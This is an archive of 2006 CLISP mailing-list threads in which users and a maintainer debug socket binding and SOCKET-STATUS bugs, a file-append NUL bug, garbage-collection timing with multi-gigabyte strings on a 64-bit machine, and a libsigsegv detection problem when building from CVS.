Perhaps, but the default seems much less important to me than my
inability to get the behavior I need.  Currently I retreat to .36
in order to do that.


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(Socket-status s 0) seems to wait when s has type (unsigned-byte 8).


 [1]> (setf ss (socket:socket-server 1234))
 #<SOCKET-SERVER 127.0.0.1:1234>
 [2]> (setf s (socket:socket-accept ss))
 #<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:1234>
 [3]> (SOCKET-STATUS S 0)
 :OUTPUT ;
 1
 [4]> (setf (stream-element-type s) '(unsigned-byte 8))
 (UNSIGNED-BYTE 8)
 [5]> (SOCKET-STATUS S 0)

 *** - Ctrl-C: User break
 The following restarts are available:
 ABORT          :R1      ABORT
 Break 1 [6]> 


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Don Cohen wrote:

>I'm doing this in linux.  
I can't reproduce this using a fresh MS-VC6 build from CVS (with 1 single typo to fix, not yet in CVS) -- but it's not Linux.

>  (SOCKET:SOCKET-SERVER 2223)
>  #<SOCKET-SERVER 127.0.0.1:2223>
[8]> (SOCKET:SOCKET-SERVER 2223)
#<SOCKET-SERVER 0.0.0.0:2223>

> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
[13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
#<SOCKET-SERVER 0.0.0.0:2224>

> (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10")
> #<SOCKET-SERVER 127.0.0.1:2225>
[15]> (SOCKET:SOCKET-SERVER 2224 :interface "10.x.y.z")
#<SOCKET-SERVER 10.x.y.z:2224>

> (SOCKET:SOCKET-SERVER 2226 :interface "foo")
> #<SOCKET-SERVER 127.0.0.1:2226>
[16]> (SOCKET:SOCKET-SERVER 2226 :interface "foo")
[after a small delay ~ 1 second:]
#<SOCKET-SERVER 0.0.0.0:2226>
Is that to be expected??

> (lisp-implementation-version)
> "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)"
[17]> (lisp-implementation-version)
"2.38 (2006-01-24) (built 3349519042) (memory 3349533052)"

I'll see how this works out on Linux asap.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril writes:
 > Don Cohen wrote:
 > 
 > >I'm doing this in linux.  
 > I can't reproduce this using a fresh MS-VC6 build from CVS
 > (with 1 single typo to fix, not yet in CVS) -- but it's not Linux.
It now occurs to me that the patch you mentioned might indeed fix
the problem.  I may have misinterpreted your reply as meaning that
the patch affected the default.  The fact that supplying the value
I wanted still didn't work suggested to me that changing the default
was not enough.

 > >  (SOCKET:SOCKET-SERVER 2223)
 > >  #<SOCKET-SERVER 127.0.0.1:2223>
 > [8]> (SOCKET:SOCKET-SERVER 2223)
 > #<SOCKET-SERVER 0.0.0.0:2223>
 > 
 > > (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
 > [13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
 > #<SOCKET-SERVER 0.0.0.0:2224>
 > 
 > > (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10")
 > > #<SOCKET-SERVER 127.0.0.1:2225>
Why is this the right result?  Is the argument invalid?  (If so, why?)
Even if it is, it seems to me that an error would be more appropriate.

 > [15]> (SOCKET:SOCKET-SERVER 2224 :interface "10.x.y.z")
 > #<SOCKET-SERVER 10.x.y.z:2224>
What does that mean?
In general what does this interface argument mean?
I'd have expected something that specifies a set of addresses.
My best interpretation was that 0.0.0.0 was a special case meaning
any and that anything else specified a singleton set.

 > > (SOCKET:SOCKET-SERVER 2226 :interface "foo")
 > > #<SOCKET-SERVER 127.0.0.1:2226>
 > [16]> (SOCKET:SOCKET-SERVER 2226 :interface "foo")
 > [after a small delay ~ 1 second:]
 > #<SOCKET-SERVER 0.0.0.0:2226>
 > Is that to be expected??
Again, why does this make sense?
If the argument is invalid shouldn't you get an error?

 > > (lisp-implementation-version)
 > > "2.38 (2006-01-24) (built 3347122501) (memory 3349203607)"
 > [17]> (lisp-implementation-version)
 > "2.38 (2006-01-24) (built 3349519042) (memory 3349533052)"
 > 
 > I'll see how this works out on Linux asap.
 > 
 > Regards,
 > 	Jorg Hohle.


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Hoehle, Joerg-Cyril writes:
 > Don cohen wrote:
 > >(Socket-status s 0) seems to wait when s has type (unsigned-byte 8).

 > Confirmed your socket-status/element-type/buffered-socket bug with
 > a MS-VC6 CVS build.
 > It does not need (setf stream-element-type) switch:
 > [38]> (setf s (socket:socket-accept ss :element-type '(unsigned-byte 8)))
 > #<IO INPUT-BUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 0.0.0.0:1234>
 > [39]> (SOCKET-STATUS S 0)
 > [only after I input something via a connected client]
 > :IO ;
 > 1
Sorry, I knew that.  I was trying to show with the simplest
example that this was the difference between working and not.
I now see my example could also be interpreted as evidence that
there was something wrong with (setf stream-element-type).

 > Work-around seems to be without :buffering [grmpf]
That's interesting.  My work around had been to temporarily set
the element type whenever I wanted to call socket-status.

 > [42]> (setf s (socket:socket-accept ss :element-type '(unsigned-byte 8) :buffered nil))
 > #<IO UNBUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 0.0.0.0:1234>
 > [43]> (SOCKET-STATUS S 0)
 > :OUTPUT ;
 > 1
 > 
 > Regards,
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On Feb 21, Don Cohen scribed:

> Hoehle, Joerg-Cyril writes:
>  > Don Cohen wrote:
>  >
>  > >I'm doing this in linux.
>  > I can't reproduce this using a fresh MS-VC6 build from CVS
>  > (with 1 single typo to fix, not yet in CVS) -- but it's not Linux.
> It now occurs to me that the patch you mentioned might indeed fix
> the problem.  I may have misinterpreted your reply as meaning that
> the patch affected the default.  The fact that supplying the value
> I wanted still didn't work suggested to me that changing the default
> was not enough.
>

I'm trying this on WinXP, using a binary install:
[24]> (lisp-implementation-version)
"2.38 (2006-01-24) (built on stnt067 [192.168.0.1])"


>  > >  (SOCKET:SOCKET-SERVER 2223)
>  > >  #<SOCKET-SERVER 127.0.0.1:2223>
>  > [8]> (SOCKET:SOCKET-SERVER 2223)
>  > #<SOCKET-SERVER 0.0.0.0:2223>
>  >

[7]> (setq l1 (socket-server 2223))
#<SOCKET-SERVER 127.0.0.1:2223>
[8]> (setq s1 (socket-connect 2223 "127.0.0.1"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:2223>
[9]> (close s1)
T
[10]> (setq s1 (socket-connect 2223 "192.168.1.3"))

*** - Winsock error 10061 (ECONNREFUSED): Connection refused
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [11]> :q

192.168.1.3 is the only address of the only network card on this machine.
Looking at the implementation notes, I don't believe this is the correct
behavior.  The impl notes say "Default is (for backward compatibility) to
bind to all local interfaces...", but clearly it's not doing this anymore.

>  > > (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
>  > [13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0")
>  > #<SOCKET-SERVER 0.0.0.0:2224>
>  >


[14]> (socket-server-close l1)
NIL
[15]> (setq l1 (socket-server 2223 :interface "0.0.0.0"))
#<SOCKET-SERVER 127.0.0.1:2223>
[16]> (setq s1 (socket-connect 2223 "192.168.1.3"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 192.168.1.3:2223>
[17]> (close s1)
T
[18]> (socket-server-close l1)
NIL

>  > > (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10")
>  > > #<SOCKET-SERVER 127.0.0.1:2225>
> Why is this the right result?  Is the argument invalid?  (If so, why?)
> Even if it is, it seems to me that an error would be more appropriate.
>

[19]> (setq l1 (socket-server 2223 :interface "192.168.1.3"))
#<SOCKET-SERVER 127.0.0.1:2223>
[20]> (setq s1 (socket-connect 2223 "192.168.1.3"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 192.168.1.3:2223>
[21]> (close s1)
T
[22]> (setq s1 (socket-connect 2223 "127.0.0.1"))

*** - Winsock error 10061 (ECONNREFUSED): Connection refused
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [23]> :q

I think the issue may be that the socket indicated it's bound to 127.0.0.1
when in fact, that's not the case.

Dave


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David N Murray wrote:
>I'm trying this on WinXP, using a binary install:
Then it's likely not CVS, and the patch I mentioned *is* relevant to this issue.

Don Cohen writes:
>It now occurs to me that the patch you mentioned might indeed fix
>the problem.
I'm sure it does, for most of what you see.

I got (from CVS):
>>  > #<SOCKET-SERVER 0.0.0.0:2223>
0.0.0.0 means "all local interfaces"
Both you and Don obtain 127.0.0.1 from the unpatched 2.38.

>#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:2223>
>[10]> (setq s1 (socket-connect 2223 "192.168.1.3"))
>*** - Winsock error 10061 (ECONNREFUSED): Connection refused
Normal behaviour for a server (erroneously) bound to 127.0.0.1

Summary: 2.38 has a bug there, but the patch is in CVS since January.


Don Cohen wonders:
> > > (SOCKET:SOCKET-SERVER 2226 :interface "foo")
> > > #<SOCKET-SERVER 127.0.0.1:2226>
>Again, why does this make sense?
>If the argument is invalid shouldn't you get an error?

Indeed, that's another bug.  I have a fix for that (not yet in CVS).  CLISP will raise an error (EINVAL IIRC) when I'll merge my code.

Regards,
	Jorg Hohle.


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Date: Wed Feb 22 07:38:03 2006
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> > Work-around seems to be without :buffering [grmpf]
>That's interesting.  My work around had been to temporarily set
>the element type whenever I wanted to call socket-status.

Both work. listen_byte() is bogus with buffered streams, whereas listen_char() seems fine.
More precisely, listen_...iu8_buffered(sp?) and listen_char_buffered() differ in their implementation but I see no reason why (plain oversight from previous patch?).  I now have to analyse why the code is different and find a correct solution for all cases (EOF, buffered, pipe/socket/interactive or not, error etc.) -- or somebody else could submit a patch for review :)

Thank you for the bug report.

BTW, I'd welcome suggestions for improving the testsuite on sockets.  Obviously, there are difficulties when running a single thread/process and trying to play both server and client in the testsuite, as CLISP currently does.  That doesn't cover all scenarios.

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	Jorg Hohle.


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This time it's on windows.  Still 2.38.  
I have a stream that has been closed from the other side
and socket:SOCKET-STATUS generates an error:
 Winsock error 10054 (ECONNRESET): Connection reset by peer
I thought that socket-status (at least on a socket stream)
was never supposed to cause an error.
The stream still appears open to lisp, even after the error above.

The doc is slightly ambiguous here.

 We define status for a SOCKET:SOCKET-SERVER or a SOCKET:SOCKET-STREAM
 to be :ERROR if any i/o operation will cause an ERROR.

That could mean either
 if ALL operation will cause errors 
or
 if SOME operations will cause errors.

The second seems more plausible to me.  In fact, I suspect it really
means that if the code trying to compute socket-status generates an
error, then the value will be :error.
But then the Winsock error above should cause status to be :error. 

I haven't checked the error yet on linux.  In fact, it may be
difficult to check since not every client generates the error
and I currently can't accept connections from other machines
(due to earlier mentioned problem).


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Don Cohen writes:
>I have a stream that has been closed from the other side
>and socket:SOCKET-STATUS generates an error:
I suspect this to be a corollary of the other bugs, because SOCKET-STATUS used to read input from the socket (causing it to hang), thus raising the error on the closed socket.

Anyway, the patch working for me on Linux is now in CVS, together with a testsuite that will hang when tested with 2.38, but works fine with CVS.

Please report your results based on CVS, or provide a testcase.
Which side did you close first: the reader or writer?
Another call to socket-status could be added after one close in the testsuite.

Also, more combinations of :buffered t/nil/:default could be tested...

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	Jorg Hohle.


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I'm working on some throw-away code that appends to a text file using
`with-open-file'.  However, I've noticed that the data at the end of the
file (prior to writing) gets clobbered by NULs (ASCII byte 0x00).  The
code bit I'm running is similar to:

(with-open-file (*standard-output* "foo" :direction :output :if-exists :append)
  (mapc #'(lambda (x) (prin1 x) (terpri))
        (generate-lots-of-data)))

If data exists in the file already, a chunk at the end gets overwritten
with NULs and the new data is appended.  Is there a known bug with
`:if-exists :append', am I doing something stupid, or something else?

thx -

-- 
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Michael J. Barillier wrote:
>Betreff: [clisp-list] NULs when appending to text file?

You didn't mention which version of Lisp you're using. It looks like you missed this:

2.38 (2006-01-24)
=================
User visible changes
--------------------
* Fixed the OPEN :IF-EXISTS :APPEND bug introduced in 2.37.

Regards,
	Jorg Hohle.


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Date: Mon Feb 27 13:19:42 2006
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I find myself for the first time in possession of a 64 bit machine
(AMD Athlon eMachines, would you believe) and thought I'd try using
some of the expanded address space.  I've installed Fedora Core 4 with
10G swap space.  (I assume this is really used for "paging" rather 
than "swapping")  I have 512M RAM.

The first thing I tried was making large strings.  One of my
complaints with recent clisp versions was that the limit was too
small.  I think it's currently about 2MB whereas it used to be about
8MB (for 32 bit machines).  So I was happy to see that the limit on
the 64 bit machine was much higher - 64M.
(Aside - I prefer to think of lisp as not imposing such artificial
limits.  Wouldn't it be more reasonable to allow any variable size
datum to be as large as the largest chunk of VM the OS is willing to 
allocate?)

The result below shows one minor bug in TIME.  Evidently it's not
prepared for numbers of bytes that don't fit in 32 bits.
My focus here is performance issues related to paging and GC.

  [1]> (lisp-implementation-version)
  "2.38 (2006-01-24) (built on hammer1.fedora.redhat.com)"
  [2]> *features*
  (:READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL
   :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
   :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386
   :UNIX)
  [3]> (setf s nil)
  NIL
  [4]> (loop
   (time (length (push (make-string 64000000) s)))
   (room)
   (run-shell-command "cat /proc/meminfo |grep swap")
  )
The cat|grep command above didn't work as intended.
The output I wanted uses upper case for the S in Swap.

  Real time: 0.00558 sec.
  Run time: 0.008001 sec.
  Space: 64001776 Bytes
  GC: 2, GC time: 0.008001 sec.
  Bytes permanently allocated:      159712
  Bytes currently in use:         67109592
  Bytes available until next GC:    772688
  Real time: 1.864564 sec.
  Run time: 0.508031 sec.
  Space: 64001776 Bytes
  GC: 2, GC time: 0.508031 sec.
  Bytes permanently allocated:      159712
  Bytes currently in use:        131099760
  Bytes available until next GC:  16771626
...

I attempt to save space and cognitive effort by replacing the
output as illustrated above with a more concise table below.

 real	   run	    gc  gc time  MB used   MB left
 .0056     0.008     2   0.008    64        0   
 1.865     0.508     2   0.508    125       15  
 3.227     0.472     2   0.472    186       31  
 2.029      0.32     2    0.32    247       46  
 2.095     0.384     1   0.384    308       0   
 .0058     0.004     1   0.004    369       0   
 10.97     0.552     1   0.552    430       0   
 15.84     1.312     1   1.296    491       46  
 .1198     0.008     1   0.008    552       46  
 3.088     0.592     1   0.592    613       46  
 20.88      1.32     1   1.316    674       92  
 .0001       0.0     0     0.0    735       31  
 9.566     0.656     1   0.656    796       92  
 .0001       0.0     0     0.0    857       31  
 18.17     1.476     1   1.476    918       92  
 .0001       0.0     0     0.0    979       31  
 46.52     2.248     1   2.248    1040      183 
 .1286       0.0     0     0.0    1101      122 
 .0001       0.0     0     0.0    1162      61  
 .0001       0.0     0     0.0    1223      0   
 31.43      1.48     1    1.48    1284      183 
 .0001       0.0     0     0.0    1345      122 
 .0001       0.0     0     0.0    1406      61  
 .0001       0.0     0     0.0    1467      0   
 27.53     2.716     1   2.712    1528      183 
 .0001       0.0     0     0.0    1589      122 
 .0001       0.0     0     0.0    1650      61  
 .0001       0.0     0     0.0    1711      0   
 235.3     5.216     1   5.216    1772      366 
 .0001       0.0     0     0.0    1834      305 
 .0001       0.0     0     0.0    1895      244 
 .0001       0.0     0     0.0    1956      183 
 .0001       0.0     0     0.0    2017      122 
 .0001       0.0     0     0.0    2078      61  
 .0001       0.0     0     0.0    2139      0   
 72.81     2.928     1   2.928    2200      366 
 .0001       0.0     0     0.0    2261      305 
 .0001       0.0     0     0.0    2322      244 
 .0001       0.0     0     0.0    2383      183 
 .0001       0.0     0     0.0    2444      122 
 .0001       0.0     0     0.0    2505      61  
 .0001       0.0     0     0.0    2566      0   
 32.62     3.524     1   3.524    2627      366 
 .0001       0.0     0     0.0    2688      305 
 .0001       0.0     0     0.0    2749      244 
 .0001       0.0     0     0.0    2810      183 
 .0001       0.0     0     0.0    2871      122 
 .0001       0.0     0     0.0    2932      61  
 .0001       0.0     0     0.0    2993      0   
 230.5     16.98     1   16.98    3054      687 
 .0001       0.0     0     0.0    3115      626 
 .0001       0.0     0     0.0    3176      565 
 .0001       0.0     0     0.0    3237      504 
 .0001       0.0     0     0.0    3298      443 
 .0001       0.0     0     0.0    3359      382 
 .0001       0.0     0     0.0    3420      321 
 .0001       0.0     0     0.0    3482      260 
 .0001       0.0     0     0.0    3543      199 
 .0001       0.0     0     0.0    3604      137 
 .0001       0.0     0     0.0    3665      76  
 .0001       0.0     0     0.0    3726      15  
 49.01     7.208     1   7.208    3787      687 
 .0207       0.0     0     0.0    3848      626 
 .0001       0.0     0     0.0    3909      565 
 .0001       0.0     0     0.0    3970      504 
 .0001       0.0     0     0.0    4031      443 
 .0001       0.0     0     0.0    4092      382 

At this point we hit a bug.

  Run time: 0.0 sec.
  Space: 64001776 Bytes
  Bytes permanently allocated:      159712
  Bytes currently in use:        4291152312
  Bytes available until next GC: 400722650

  *** - SYSTEM::DELTA4: negative difference: [255 13651352] > [3 10544264]
  The following restarts are available:
  ABORT          :R1      ABORT
  Break 1 [5]> where
  <1> #<SPECIAL-OPERATOR MULTIPLE-VALUE-CALL>
  EVAL frame for form 
  (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 #:G3624
   #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630)
  Break 1 [5]> up
  <1> #<SPECIAL-OPERATOR UNWIND-PROTECT>
  EVAL frame for form 
  (UNWIND-PROTECT (LENGTH (PUSH (MAKE-STRING 64000000) S))
   (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 #:G3624
    #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630))
  Break 1 [5]> return
  Values: nil

  Bytes permanently allocated:      159712
  Bytes currently in use:        4355591872
... 

and now the rest of the data summarized
 real	   run	    gc  gc time  MB used   MB left
 .0001       0.0     0     0.0    4214      259 
 .0001       0.0     0     0.0    4275      198 
 .0001       0.0     0     0.0    4336      137 
 .0008       0.0     0     0.0    4397      76  
 .0001       0.0     0     0.0    4459      15  
  47.6      10.1     1   10.07    4519      687 
 .0001       0.0     0     0.0    4580      626 
 .0001       0.0     0     0.0    4641      565 
 .0001       0.0     0     0.0    4702      504 
 .0001       0.0     0     0.0    4763      443 
 .0001       0.0     0     0.0    4824      382 
 .0001       0.0     0     0.0    4885      321 
 .0001       0.0     0     0.0    4946      260 
 .0001       0.0     0     0.0    5007      199 
 .0001       0.0     0     0.0    5068      137 
 .0001       0.0     0     0.0    5130      76  
 .0001       0.0     0     0.0    5191      15  
 2139.     83.69     1   83.69    5251      1236
 .1932       0.0     0     0.0    5313      1175
 .0001       0.0     0     0.0    5374      1114
 .0001       0.0     0     0.0    5435      1053
 .0001     0.004     0     0.0    5496      992 
 .0001       0.0     0     0.0    5557      931 
 .0001       0.0     0     0.0    5618      870 
 .0001       0.0     0     0.0    5679      809 
 .0001       0.0     0     0.0    5740      748 
 .0001       0.0     0     0.0    5801      687 
 .0001       0.0     0     0.0    5862      626 
 .0001       0.0     0     0.0    5923      565 
 .0001       0.0     0     0.0    5984      504 
 .0001       0.0     0     0.0    6045      443 
 .0001       0.0     0     0.0    6106      382 
 .0001       0.0     0     0.0    6167      321 
 .0001       0.0     0     0.0    6228      259 
 .0001       0.0     0     0.0    6289      198 
 .0001       0.0     0     0.0    6350      137 
 .0001       0.0     0     0.0    6411      76  
 .0001       0.0     0     0.0    6472      15  
 152.1     26.31     1   26.31    6533      1236
 .0338       0.0     0     0.0    6594      1175
 .0001       0.0     0     0.0    6655      1114
 .0001       0.0     0     0.0    6716      1053
 .0001       0.0     0     0.0    6777      992 
 .0001       0.0     0     0.0    6838      931 
 .0001       0.0     0     0.0    6899      870 
 .0001       0.0     0     0.0    6961      809 
 .0001       0.0     0     0.0    7022      748 
 .0001       0.0     0     0.0    7083      687 
 .0001       0.0     0     0.0    7144      626 
 .0001       0.0     0     0.0    7205      565 
 .0001       0.0     0     0.0    7266      504 
 .0001       0.0     0     0.0    7327      443 
 .0001       0.0     0     0.0    7388      382 
 .0001       0.0     0     0.0    7449      321 
 .0001       0.0     0     0.0    7510      259 
 .0001       0.0     0     0.0    7571      198 
 .0001       0.0     0     0.0    7632      137 
 .0001       0.0     0     0.0    7693      76  
 .0001       0.0     0     0.0    7754      15  

[Here we run out of space.]

The result is in some respects what I expected.

If there's enough space available then the allocation takes almost no
time.  Otherwise there's a gc and more space is allocated.
Since the non-gc cases are relatively uninteresting, I collect below
the gc cases.

 real	   run	    gc  gc time  MB used   MB left  notes
 .0056     0.008     2   0.008    64        0       ====
 1.865     0.508     2   0.508    125       15      2 gc's
 3.227     0.472     2   0.472    186       31  
 2.029      0.32     2    0.32    247       46      ====
 2.095     0.384     1   0.384    308       0       VM<RAM
 .0058     0.004     1   0.004    369       0   
 10.97     0.552     1   0.552    430       0   
 15.84     1.312     1   1.296    491       46      ====
 .1198     0.008     1   0.008    552       46     real/run
 3.088     0.592     1   0.592    613       46       5
 20.88      1.32     1   1.316    674       92      16
 9.566     0.656     1   0.656    796       92      15
 18.17     1.476     1   1.476    918       92      12
 46.52     2.248     1   2.248    1040      183     21
 31.43      1.48     1    1.48    1284      183     21
 27.53     2.716     1   2.712    1528      183     10
 235.3     5.216     1   5.216    1772      366     45
 72.81     2.928     1   2.928    2200      366     25
 32.62     3.524     1   3.524    2627      366      9
 230.5     16.98     1   16.98    3054      687     14
 49.01     7.208     1   7.208    3787      687      7
  47.6      10.1     1   10.07    4519      687      5
 2139.     83.69     1   83.69    5251      1236    26
 152.1     26.31     1   26.31    6533      1236     6


One interesting point is that the first few allocations cause 2 GC's.
I suppose that the first one allocates less space than is needed and
it takes another to allocate the rest.  It seems that this could be
easily avoided by telling gc how much space you're trying to allocate
and have it allocate enough to satisfy the request.

It seems clear that what is reported as gc time is gc "run" time as
opposed to gc "real" time.  I'm not sure how accurate these run times
are (what exactly they measure) in cases that involve a lot of
paging.  It's possible that some other processes might have been
competing for the disk during some of the GC's but I think this
would have been the exception.

It's not surprising that the times are generally increasing.
It is interesting that they are not monotonic.  Rather they seem
to go in a cycle of a large time followed by a few smaller ones.
I may be hallucinating but I imagine this might be related to
generational gc, with the smaller times looking only at more
recently allocated data, and after a few of those a gc that looks
at more data.  

Actually I was somewhat surprised that GC took a major amount of
time in this example at all.  The entire run allocated about 
100 strings, and I expected gc to have to read only the pages
containing the headers of those objects.  The times above suggest
that instead it is reading in and scanning every page.  Does that
make sense?  What is there to look for in the middle of a string?
I also wonder how many times a given page is read and scanned.
In this case I don't see why it should be more than once.  
But 2000 sec seems much longer than should be needed to read 5GB.


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Date: Mon Feb 27 17:58:02 2006
X-Original-Date: Mon, 27 Feb 2006 17:57:34 -0800

I previously wrote:
  I find myself for the first time in possession of a 64 bit machine
 ...
I got clisp in that case by doing
  yum install clisp
which reported
   Installing:
    clisp                   x86_64     2.38-1.fc4       extras     5.2 M
   Installing for dependencies:
    libsigsegv              x86_64     2.2-1.fc4        extras      13 k
    postgresql-libs         x86_64     8.0.7-1.FC4.1    updates-released  180 k

I now want to build from cvs in order to try to fix socket-server and
socket-status problems earlier noted.  As you'll see below, it can't 
find libsigsegv.  Any advice will be appreciated.

 # cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
 ...
[seems to work]

 # cd clisp
 # time ./configure --with-module=rawsock --build build-dir
 ...
 gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libcallback.a
 ./minitests > minitests.out
 LC_ALL=C uniq -u < minitests.out > minitests.output.x86_64-unknown-linux-gnu
 test '!' -s minitests.output.x86_64-unknown-linux-gnu
 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=${prefix} && make && make check && make install
   cd ../..
   ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv --with-module=rawsock --build build-dir

 real	1m6.525s
 user	0m26.122s
 sys	0m25.046s
 # yum install libsigsegv
 ...
 Nothing to do

Next guess:

 # yum install libsigsegv-devel
 ...
 Installing:
  libsigsegv-devel        x86_64     2.2-1.fc4        extras            7.4 k
 ...
 Installed: libsigsegv-devel.x86_64 0:2.2-1.fc4
 Complete!
 # time ./configure --with-module=rawsock --build build-dir
 ...

and again

 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=${prefix} && make && make check && make install
   cd ../..
   ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv --with-module=rawsock --build build-dir

 real	0m24.500s
 user	0m7.276s
 sys	0m13.281s

so now I try doing as I've been told:

 # mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu
 #   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
 ...
 17:08:03 (456.80 KB/s) - `libsigsegv-2.2.tar.gz' saved [361450/361450]

 #   tar xfz libsigsegv-2.2.tar.gz
 # cd libsigsegv-2.2
 #   ./configure --prefix=${prefix} && make && make check && make install
 ...
 # cd ../..
 #   ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir
 executing /root/clisp/build-dir/configure --srcdir=../src --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --cache-file=config.cache
 ... 
 ./minitests > minitests.out
 LC_ALL=C uniq -u < minitests.out > minitests.output.x86_64-unknown-linux-gnu
 test '!' -s minitests.output.x86_64-unknown-linux-gnu
 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=${prefix} && make && make check && make install
   cd ../..
   ./configure --with-libsigsegv-prefix=${prefix} --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --build build-dir

 # updatedb 
 # locate libsigseg
 /var/cache/yum/extras/headers/libsigsegv-2.2-1.fc4.x86_64.hdr
 /var/cache/yum/extras/headers/libsigsegv-devel-2.2-1.fc4.x86_64.hdr
 /var/cache/yum/extras/packages/libsigsegv-2.2-1.fc4.x86_64.rpm
 /var/cache/yum/extras/packages/libsigsegv-devel-2.2-1.fc4.x86_64.rpm
 /usr/share/doc/libsigsegv-2.2
 /usr/share/doc/libsigsegv-2.2/README
 /usr/share/doc/libsigsegv-2.2/AUTHORS
 /usr/share/doc/libsigsegv-2.2/ChangeLog
 /usr/share/doc/libsigsegv-2.2/NEWS
 /usr/lib64/libsigsegv.so.0
 /usr/lib64/libsigsegv.so
 /usr/lib64/libsigsegv.so.0.0.0
 /usr/lib64/libsigsegv.a
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I still don't understand why the already installed libsigsegv was
not sufficient, but I find the problem in the last attempt is 
that it uses a file named config.cache.
When I rename it things work much better.
So perhaps that ought to be incorporated into this advice.

 Please do this:
   mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=${prefix} && make && make check && make install
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On Mon, 2006-02-27 at 13:18 -0800, Don Cohen wrote:
> (Aside - I prefer to think of lisp as not imposing such artificial
> limits.  Wouldn't it be more reasonable to allow any variable size
> datum to be as large as the largest chunk of VM the OS is willing to 
> allocate?)

Unfortunately, this issue is made a little more difficult by ANSI.  Read
http://www.lisp.org/HyperSpec/Issues/iss014-writeup.html
(ARRAY-DIMENSION-LIMIT-IMPLICATIONS) for details; suffice to say,
array-total-size-limit et al must be fixnums.

I remember someone saying on clisp-list (or maybe c.l.lisp) a while ago
(sorry, can't find the particular message) that lots of places in clisp
code depend on fixnums fitting into 24 bits, and changing that would be
a lot of work.

-- 
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Stephen Compall writes:
 > On Mon, 2006-02-27 at 13:18 -0800, Don Cohen wrote:
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 > > limits.  Wouldn't it be more reasonable to allow any variable size
 > > datum to be as large as the largest chunk of VM the OS is willing to 
 > > allocate?)
 > 
 > Unfortunately, this issue is made a little more difficult by ANSI.  Read
 > http://www.lisp.org/HyperSpec/Issues/iss014-writeup.html
